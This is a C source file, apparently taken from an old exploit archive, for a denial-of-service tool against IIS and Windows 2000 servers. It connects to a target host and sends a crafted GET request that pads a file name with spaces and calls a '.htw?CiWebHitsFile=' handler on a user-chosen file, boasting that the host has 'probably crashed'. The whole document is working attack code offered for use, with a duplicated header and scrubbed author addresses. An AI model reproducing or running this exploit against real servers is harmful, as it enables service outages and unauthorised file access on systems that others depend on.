iisdos.c

/*

Description: DoS against IIS and Win2000.0 Servers by wildcoyote
iisdos.c

/*

Description: DoS against IIS and Win2000.0 Servers by wildcoyote
Comments : Based on a perl *script* by This email address is being protected from spambots. You need JavaScript enabled to view it.
Flamez to : This email address is being protected from spambots. You need JavaScript enabled to view it.

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int openhost(char *host,int port) {
int sock;
struct sockaddr_in addr;
struct hostent *he;

he=gethostbyname(host);

if (he==NULL) {
perror("gethostbyname()");
exit(-1); }

sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);

if (sock==-1) {
perror("socket()");
exit(-1); }

memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);

if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
sock=-2; }

return sock;
}

void sends(int sock,char *buf) {
write(sock,buf,strlen(buf));
}

void DoS(char *host, int port)
{
int sock,i,file_buf_size;
char *buf, file_read[256],valid_file[256];
printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
printf("File to read: ");
scanf("%s",&file_read);
printf("Enter Valid file: ");
scanf("%s",&valid_file);
file_buf_size=strlen(valid_file);
printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
sock=openhost(host,port);
if(sock<=0) {
printf("- Could not connect -\n");
printf("Exiting...\n\n");
exit(-1);
}
else printf("Connected to %s (%d)\n",host,port);
printf("Allocating memory for DoS\n");
buf = (char *) malloc(2500); // bah! =) whatever...
sprintf(buf,"GET %s",valid_file);
for(i=0;i<file_buf_size;i++) strcat(buf,"%20");
strcat(buf,".htw?CiWebHitsFile=");
strcat(buf,file_read);
strcat(buf,"&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n");
printf("Oh k! Sending CRASH!\n");
sends(sock,buf);
close(sock);
free(buf);
printf("Crash sent! The host *probably* crashed :P\n");
printf("Send flamez to This email address is being protected from spambots. You need JavaScript enabled to view it., *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
int sock,i;
if (argc<2) {
printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
printf("Send flamez to This email address is being protected from spambots. You need JavaScript enabled to view it., *Enjoy*...\n\n");
}
else if (argc==2) DoS(argv[1],80);
else DoS(argv[1],atoi(argv[2]));
}
/* www.hack.co.za [14 June]*/